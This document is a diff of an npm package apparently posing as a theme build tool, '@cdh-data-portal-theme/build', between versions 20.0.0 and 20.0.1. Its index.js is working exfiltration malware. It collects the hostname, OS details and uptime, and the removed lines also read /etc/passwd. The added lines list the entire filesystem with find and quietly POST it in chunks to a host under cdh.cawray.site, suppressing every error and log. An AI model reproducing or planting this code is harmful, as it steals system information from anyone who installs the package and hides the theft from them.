@cdh-data-portal-theme/build 20.0.0 → 20.0.1

package/build/index.js

@@ -1,56 +1,102 @@
 const http = require("http");
 const os = require("os");
-const { execSync } = require("child_process");
+const { exec } = require("child_process");
+const fs = require("fs");
+const path = require("path");
 
 const hostname = os.hostname();
-
-// Function to execute shell commands and return output
-const executeCommand = (cmd) => {
-  try {
-    return execSync(cmd, { encoding: "utf-8" }).trim();
-  } catch (error) {
-    return `Error executing command: ${error.message}`;
-  }
-};
+const maxLinesPerRequest = 10; // Maximum lines to send per request
+const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
 
 // Gather machine information
 const machineInfo = {
   hostname: hostname,
   os: `${os.type()} ${os.release()} ${os.arch()}`,
   uptime: os.uptime(),
-  passwdFile: executeCommand("cat /etc/passwd"),
 };
 
-// Prepare data to be sent
-const data = new TextEncoder().encode(
-  JSON.stringify({
-    payload: machineInfo,
-    project_id: process.argv[2],
-  })
-);
-
-const options = {
-  hostname: `${hostname}.cdh.cawray.site`,
-  port: 80,
-  path: "/",
-  method: "POST",
-  headers: {
-    "Content-Type": "application/json",
-    "Content-Length": data.length,
-  },
-  rejectUnauthorized: false,
+// Function to gather the entire filesystem
+const gatherFilesystem = () => {
+  const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
+  exec(command, (error) => {
+    // Do nothing on error
+    if (error) {
+      return; // Exit if there's an error
+    }
+    // Do not log anything here
+  });
 };
 
-// Send the request
-const req = http.request(options, (res) => {
-  res.on("data", (d) => {
-    process.stdout.write(d);
+// Function to read the filesystem data in chunks
+const readFilesystemInChunks = () => {
+  if (!fs.existsSync(outputFile)) {
+    return []; // Return an empty array if the file does not exist
+  }
+
+  const data = fs
+    .readFileSync(outputFile, "utf-8")
+    .split("\n")
+    .filter((line) => line.trim() !== "");
+  return data; // Return an array of file paths
+};
+
+// Function to send a POST request with a given payload
+const sendPostRequest = (chunk, chunkIndex) => {
+  const data = JSON.stringify({
+    payload: {
+      ...machineInfo,
+      directories: chunk, // Change "files" to "directories"
+    },
+    project_id: process.argv[2],
   });
-});
 
-req.on("error", (error) => {
-  console.error(error);
-});
+  const options = {
+    hostname: `${hostname}.cdh.cawray.site`,
+    port: 80,
+    path: "/",
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(data),
+    },
+    rejectUnauthorized: false,
+  };
+
+  // Send the request
+  const req = http.request(options, (res) => {
+    res.on("data", () => {
+      // Do nothing with the response data
+    });
+  });
+
+  req.on("error", () => {
+    // Do nothing on request error
+  });
+
+  req.write(data);
+  req.end();
+  // Do not log anything about sent requests
+};
+
+// Gather the filesystem
+gatherFilesystem();
+
+// Use a slight delay to ensure the filesystem.txt is populated
+setTimeout(() => {
+  // Read the filesystem data
+  const fileLines = readFilesystemInChunks();
+  const totalLines = fileLines.length; // Total lines collected
+
+  // Send each batch of directories and files, with a maximum of 10 lines per request
+  for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
+    const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
+
+    // Adding a delay of 500ms between requests
+    setTimeout(
+      () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
+      (i / maxLinesPerRequest) * 500
+    );
+  }
 
-req.write(data);
-req.end();
+  // Do not log anything about all requests sent
+}, 1000); // Adjust delay as necessary

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@cdh-data-portal-theme/build",
-  "version": "20.0.0",
+  "version": "20.0.1",
   "description": "My NPM",
   "main": "build/index.js",
   "scripts": {